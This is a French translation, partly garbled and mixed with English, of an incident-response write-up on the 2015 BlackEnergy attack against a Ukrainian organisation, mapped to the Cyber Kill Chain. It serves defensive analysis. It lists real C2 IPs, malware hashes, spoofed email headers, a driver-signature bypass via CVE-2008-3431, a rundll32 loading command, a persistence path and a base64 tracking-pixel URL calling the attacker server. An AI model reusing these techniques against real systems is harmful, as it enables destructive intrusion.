DÉMANTÈLEMENT DE BLACKENERGY, PARTIE 3 – TOUS À BORD !

Abordage  – the act of embarquement un ennemi navire as partie of an attaque.

In today’s post, I will describe a part of investigation of one cyber security incident that has eventually evolved into a global investigation connected with an attack based on BlackEnergy that has hit a number of industries in Ukraine. As we progressed through investigation and performed a systematic retrospective analysis, we have mapped the attack to the Lockheed Martin’s Cyber Kill Chain methodology and thus I will refer to its structure during my story.

PROLOGUE

Voici l’histoire. Je dois respecter un certain niveau de discrétion, donc les noms d’utilisateur et les noms de serveurs d’infrastructure sont masqués et modifiés. Les dates et les adresses IP externes, cependant, ne sont pas altérées et je les partage dans le même état que celui où elles apparaissaient dans les fichiers journaux. Nous avions le plan d’action suivant : dès que nous découvrons un Indicateur de Compromission (IOC), nous le vérifions par rapport aux données des journaux et sur la base de toute découverte supplémentaire, nous corrigeons nos filtres, puis lançons une autre recherche. Nous avons systématiquement passé au crible des gigaoctets de journaux et la vue d’ensemble a commencé à devenir plus claire pour nous, ce que je vais maintenant partager avec vous dans cet article.

Le dimanche matin du 25 octobre, j’ai reçu un appel de notre département administratif informatique avec un message indiquant que les serveurs contrôleurs de domaine s’étaient soudainement arrêtés pendant la nuit et ne s’étaient jamais remis en marche. Lorsque notre équipe est arrivée sur le site, la première chose que nous avons demandée était les images des serveurs « plantés » (bien entendu, nous avions des images virtuelles). L’analyse initiale a clairement indiqué que les deux serveurs avaient leur MBR réécrit. Nous avons réussi à récupérer le MBR en appliquant une certaine magie pratique de TestDisk (https://en.wikipedia.org/wiki/TestDisk) et nous avons poursuivi avec l’analyse. Les choses sont devenues plus intéressantes. La plupart des fichiers sur le disque étaient remplis de zéros, donc ils ressemblaient tous à des fichiers identiques de la même taille mais à l’intérieur il n’y avait que des zéros ! Parmi les fichiers qui ont survécu, certains fichiers journaux d’événements ont servi de point de départ pour commencer à cartographier tous les événements anormaux sur la chronologie. Je décrirai les indicateurs découverts dans l’ordre inverse, du moment où l’incident s’est produit jusqu’au début (pénétration).

CHAPITRE 1. ACTIONS ET OBJECTIFS DE L’ATTAQUE

Pendant que nous travaillions avec les données des journaux des contrôleurs de domaine récupérés, nous avons reçu un autre appel indiquant qu’un autre serveur avait été « infecté » avec des symptômes similaires, cette fois cependant, il s’agissait d’un serveur d’application. Ainsi, nous avons également obtenu une image de ce serveur :
Nous avons analysé les événements survenus juste avant le « crash » et les avons cartographiés sur notre chronologie :Laissez-moi expliquer un peu ce qui est exactement affiché ici. Une zone avec une bordure bleue indique les résultats des actions que nous avons observées sous forme de crashs de serveur. Juste avant l’arrêt, des tentatives de connexion non autorisées à partir de comptes administrateur de domaine ont été enregistrées. Les actions effectuées incluent la modification du svchost.exe service et le lancement du service enfant msDefenderSvc:

https://www.virustotal.com/en/file/f52869474834be5a6b5df7f8f0c46cbc7e9b22fa5cb30bee0f363ec6eb056b95/analysis/À gauche, il y a un autre événement d’intérêt qui prouve que la politique globale a été modifiée :

Sans faire d’hypothèses hâtives et en regardant le contenu du script, nous voyons que lorsqu’un utilisateur se connecte à son PC, un fichier appelé ololo.exe (que j’ai partiellement inversé et décrit ici : https://socprime.com/en/blog/dismantling-killdisk-reverse-of-the-blackenergy-destructive-component/) sera automatiquement téléchargé à partir d’un partage réseau.

De plus, en analysant les journaux des postes de travail (en prenant un peu d’avance, je souhaite dire que nous avons vérifié les journaux de plus d’une centaine de postes de travail), nous avons découvert l’anomalie suivante : un ensemble d’événements provenant d’utilisateurs privilégiés qui ont modifié des tâches planifiées sur les PC des utilisateurs :

Voici à quoi ressemblait l’événement dans les journaux des contrôleurs de domaine :

De plus, voici à quoi il ressemblait sur le PC de l’utilisateur :

C’était essentiellement un « coup fatal », juste au cas où le contrôleur de domaine ne parviendrait pas à terminer sa tâche et planterait avant de pouvoir pousser la politique de groupe vers les postes de travail. En conséquence, nous pouvons clairement cartographier cette partie de l’attaque avec les « Actions sur les objectifs » du modèle Kill Chain. Dans ce cas, l’objectif est de détruire les données sur le maximum d’ordinateurs possible.

CHAPITRE 2. « INSTALLATION ET EXPLOITATION », C’EST-À-DIRE LE DÉPLOIEMENT DE BLACKENERGY EN EXPLOITANT DES VULNÉRABILITÉS.

Alors, que s’est-il passé avant que les adversaires n’obtiennent l’accès aux serveurs ? En analysant les journaux des événements, nous avons découvert la séquence suivante des événements :Description des étapes de l’attaque numérotées :

1 & 2 – accès VPN non autorisé et accès immédiat par RDP aux contrôleurs de domaine

3 – installation de VBoxDrv.sys (CVE-2008-3431) service. Cette étape était nécessaire pour contourner le DSE (Driver Signature Enforcement est une vérification obligatoire des signatures de pilotes) sans redémarrage ( http://www.coresecurity.com/content/virtualbox-privilege-escalation-vulnerability ).

4 – puisque le DSE est neutralisé dans le cadre de l’étape précédente, l’installation de pilotes auto-signés adpu320.sys and amdide.sys ne posera plus de problème.

Les deux fichiers .sys produisent la même valeur de hachage. Au 06.11.2015, seules 2 solutions antivirus pouvaient les détecter, mais même à l’époque, il était clair que nous avions affaire à BlackEnergy (les deux contrôleurs de domaine avaient une solution antivirus en cours d’exécution mais ce n’était pas l’une de ces 2 AV qui pouvait l’attraper) :4 jours plus tard, 12 antivirus détectaient déjà ces échantillons.

Ainsi, nous pouvons conclure que cette phase de l’attaque peut être mappée avec succès aux étapes du modèle Cyber Kill Chain de « Installation » et « Exploitation ».

CHAPITRE 3. « ACTIONS SUR OBJECTIFS », « RECONNAISSANCE »

Il est évident que les comptes administrateurs ont été compromis et il est raisonnable de soupçonner que leurs postes de travail ont également été victimes d’accès non autorisés. Sur la base de l’analyse de leurs journaux de postes de travail (et de quelques centaines d’autres postes de travail), une activité anormale liée à l’utilisation de l’outil de gestion à distance de Sysinternals suite PsExec a été découverte :

La chronologie ci-dessus décrit un fragment de l’activité liée à la collecte de données à partir des postes de travail.

Voici à quoi ressemble l’événement dans les journaux des postes de travail :

Cette phase peut encore une fois être mappée au modèle Cyber Kill Chain, correspondant respectivement à « Reconnaissance » et « Actions sur les objectifs » (les objectifs étant la collecte de données sur l’infrastructure et les utilisateurs). J’ai mappé cette phase également à « Reconnaissance » car il y a de fortes suspicions que les adversaires ont recueilli des données supplémentaires à partir des postes de travail pour préparer davantage leur attaque.

CHAPITRE 4. « COMMANDE ET CONTRÔLE (C2) », COMMUNICATION AVEC LES SERVEURS BLACKENERGY

Nous avons mené une analyse parallèle des journaux des postes de travail et des journaux de pare-feu. Puisqu’il était clair que BlackEnergy était utilisé pour nous attaquer, nous avons utilisé toutes les recherches et articles publiés sur ce sujet pour vérifier les communications avec les centres de commande connus :Comme on le voit sur cette partie de la chronologie, nous retracons l’historique de l’attaque jusqu’à mai 2015 ! Le 15.05.2015 est le jour où la première communication avec l’un des serveurs de commande et contrôle connus, qui fait également partie du réseau Tor (5.149.254.114).

Malheureusement, un poste de travail qui a réalisé la communication avec ce centre de commande contenait également un fichier avec des mots de passe pour plusieurs profils YouTube et le 22.05.2015, ces comptes ont été détournés. Le piratage a été mené à partir de deux autres serveurs 185.61.138.143 and 46.28.68.158 (encore une fois des nœuds Tor) des adresses e-mail factices et des numéros de téléphone de récupération ont été utilisés. Aucune perte particulière n’a été subie l’attaque et à l’époque, cela ne ressemblait même pas à une attaque ciblée. Les comptes ont été rapidement récupérés, une authentification à 2 facteurs a été ajoutée, des conclusions tirées, et l’incident a été fermé jusqu’en novembre 2015 – le jour où il est clairement devenu une pièce d’un puzzle plus grand !

Je pense que cette phase de l’attaque peut être classée comme « Commande & Contrôle (C2) » :

CHAPITRE 5. « LIVRAISON » DES MODULES BLACKENERGY

Nous avons récupéré une liste de tous les postes de travail qui ont communiqué avec les serveurs de commande à partir des journaux de pare-feu et avons construit un filtre basé sur les adresses IP de ces postes de travail, ce filtre a été utilisé pour rechercher toutes les activités que ces machines ont effectuées en 2015 afin de trouver des anomalies ou des schémas. Les schémas ont été trouvés. Un lien commun (en dehors de plusieurs serveurs ordinaires tels que Google ou Facebook/VK/Twitter etc.) semblait être un seul serveur avec une IP de 176.53.127.194 (et encore une fois, c’est un nœud Tor !) :

Le 23.04.2015, l’un des employés a reçu un e-mail ordinaire, qui affichait quelques détails intéressants après un examen plus approfondi (bien sûr, durant l’enquête, plus d’un an après que l’e-mail ait été ouvert) :
Tout d’abord, regardons les en-têtes de l’e-mail :

Received: from mx1-mail.com (mx1-mail.com [5.149.248.67]) Thu, 23 Apr 2015 09:43:45 +0300

Received: from webmail.rada.gov.ua (port=80 helo=webmail.rada.gov.ua)

by mx1-mail.com [5.149.248.67] with esmtp (envelope-from <info@rada.gov.ua>)

From: «info@rada.gov.ua» <info@rada.gov.ua>

Return-Path: info@rada.gov.ua

5.149.248.67 – une adresse IP déjà connue qui a été utilisée pour envoyer des e-mails similaires à d’autres organisations (https://cys-centrum.com/ru/news/black_energy_2_3).

Concernant la pièce jointe, un fichier .xls contient la macro suivante :

By putting together all 864 elements of the array А, as an output we will receive vba_macro.exe, qui est en fait un dropper BlackEnergy

https://www.virustotal.com/ru/file/ca7a8180996a98e718f427837f9d52453b78d0a307e06e1866db4d4ce969d525/analysis/1458721530/

https://www.hybrid-analysis.com/sample/ca7a8180996a98e718f427837f9d52453b78d0a307e06e1866db4d4ce969d525?environmentId=1Le dropper initie une connexion vers un centre de commande déjà connu par nous:Ensuite, le malware reçoit d’autres « instructions », forme un fichier appelé FONTCACHE.DAT, et le charge en utilisant rundll32.exe depuis FONTCACHE.DAT est en fait une variation de packet.dll – de retour de l’Encyclopédie des Hackers 2002, développé par Whirlwind Software pour le système d’exploitation Windows:C:WINDOWSsystem32rundll32.exe C:WINDOWSsystem32rundll32.exe" "C:Documents and Settings<USER>Local SettingsApplication DataFONTCACHE.DAT"Puis il l’écrit au démarrage:C:Documents and Settings<USER>Start MenuProgramsStartup{22A16F66-CB92-4B66-8BDE-26B5CD34553F}.lnkPrenons maintenant un regard plus approfondi sur l’image du pied de page des emails qui n’a pas réussi à charger:Un lien vers notre « image » ressemble à ceci :src="http://176.53.127.194/bWFpbF9pdmFub3YuaXZhbkBkb21lbi51YQ==.pngAprès un certain décodage Base64, il se transforme en :src="http://176.53.127.194/mail_ivanov.ivan@domen.ua.pngPar conséquent, c’est une alerte pour les adversaires qui confirme le fait qu’Ivan Ivanov a réussi à ouvrir un email et est prêt à « recevoir de nouvelles instructions ».

Je veux souligner une fois de plus qu’il n’y avait qu’un seul email en avril et qu’il n’avait qu’un seul destinataire.

Passons maintenant en revue les emails reçus en juillet (envoi massif à plus de 2000 adresses). Un modèle commun est que tous les emails contenaient le même « balise » qui rapportait au même IP (176.53.127.194) et a précisément identifié le destinataire. Donc ce n’était pas juste une campagne de spam, mais une campagne ciblée, et la seule partie différente est l’absence du préfixe « mail_ » dans le message décodé:

La même adresse IP dans l’en-tête:

Reçu: de mx1-mail.com (mx1-mail.com [5.149.248.67]) par

Reçu: de webmail.rada.gov.ua (port=80 helo=webmail.rada.gov.ua)

par  mx1-mail.com [5.149.248.67] avec esmtp (envelope-from  <pravyysektor@rada.gov.ua>)

De: « pravyysektor@rada.gov.ua » <pravyysektor@rada.gov.ua>

Date : Mar, 28 Jul 2015 09:08:38 +0200

Retour de chemin: pravyysektor@rada.gov.ua

Contenu de la lettre qui montre clairement notre « balise » :Malgré le fait que l’envoi massif ait été adressé à toute l’entreprise, évidemment, un spam et que les emails avec un tel texte sont interdits d’ouverture, certains utilisateurs ont tout de même ouvert l’email, ce qui a provoqué une flambée de communication avec un centre de commande et de contrôle connu :Comme observé sur la chronologie, la première communication a téléchargé 28 863 octets, la suivante déjà 359 276 octets, etc. Les communications avaient une séquence claire et une structure manifeste :

Il ne fait aucun doute que cette étape de l’attaque peut être classée comme « Livraison » :

Comme nous pouvons le voir, l’attaque présente tous les signes de la structure APT qui peut être clairement décrite en utilisant la méthodologie Cyber Kill Chain.

ÉVALUATION DES CONSÉQUENCES

Côté négatif : les données ont été détruites sur deux contrôleurs de domaine, un serveur d’applications et un peu plus d’une douzaine de PC.Côté positif des choses : nous avons obtenu un test de pénétration gratuit, une expérience inestimable d’une vraie enquête APT, nous avons créé/ajusté un certain nombre d’outils qui non seulement automatisent notre travail avec le traitement des journaux mais aussi l’analyse inverse des malwares (mais je m’avance un peu, c’est un sujet pour un autre article entier). La direction a une bien meilleure compréhension de l’objectif de l’InfoSec (inestimable!). Cette seule démonstration d’une véritable menace et l’enquête qui a suivi nous ont aidés plus que les précédents témoignages de préoccupations ou les menaces hypothétiques. Une collaboration étroite avec les administrateurs informatiques a porté notre collaboration professionnelle au niveau supérieur. Ainsi, je considère ces événements comme un véritable entraînement au combat cybernétique et les meilleures leçons pour une véritable compréhension des méthodes et techniques de l’adversaire.

En conclusion, je veux dire que de nombreuses choses sont laissées de côté dans l’article et certains éléments sont encore à l’étude.

1. Pour montrer que d’une part, BlackEnergy n’est pas un méga-monstre qui peut être jeté sur une planète inhabitable et qui peut six mois plus tard construire sa propre base d’opérations pouvant alimenter sa survie 🙂 D’autre part, c’est un outil puissant et spécialisé qui peut entre les mains d’un spécialiste causer des dommages massifs à la victime de l’attaque.
2. Pour souligner qu’une attaque qui exploite BlackEnergy n’est qu’un des exemples de l’évolution des technologies qui sont activement utilisées par les cybercriminels. Ce ne sont pas de simples cyber-raids, nous avons affaire à des opérations finement organisées et minutieusement planifiées, similaires à celles menées par les forces spéciales militaires (l’image de l’article a été choisie par cette association).

Sur la base de ce qui précède, nous pouvons construire l’un des scénarios d’utilisation d’une telle information : pourquoi aurait-on besoin de pirater une banque quand on peut simplement acheter un accès à l’infrastructure de n’importe quelle entreprise de chaîne d’approvisionnement, qui a une connectivité VPN site à site constante et obtenir un accès « officiellement autorisé » (nous pouvons nous référer au dessin animé sur une banque et un concierge: https://www.youtube.com/watch?v=fB2b-lTjCQA ).

Comme d’habitude, je serais reconnaissant à tous ceux qui vérifient leurs données de journal pour les indicateurs mentionnés (IOC) après avoir lu l’article.

Dans les articles de suivi, je partagerai certaines méthodes qui permettent de détecter certains indicateurs des activités de l’adversaire décrites et de construire un ensemble de mesures organisationnelles et techniques visant à minimiser la probabilité de tels incidents dans une organisation, ou au moins à augmenter la probabilité de leur découverte rapide.

CRÉDITS

Une énorme reconnaissance revient à mes collègues pour leur enthousiasme, leur persévérance et un travail bien fait. Je veux exprimer une gratitude particulière à Marina Krotofil et à l’équipe d’Andrii Bezverkhyi pour leur assistance dans la préparation de l’analyse et de l’article. Des remerciements supplémentaires vont à HPE , LanTec and SOC Prime pour l’aide matérielle et technique avec le matériel et les logiciels fournis pendant l’enquête et la lutte contre l’attaque.

Traduit de l’original par Andrii Bezverkhyi | CEO SOC Prime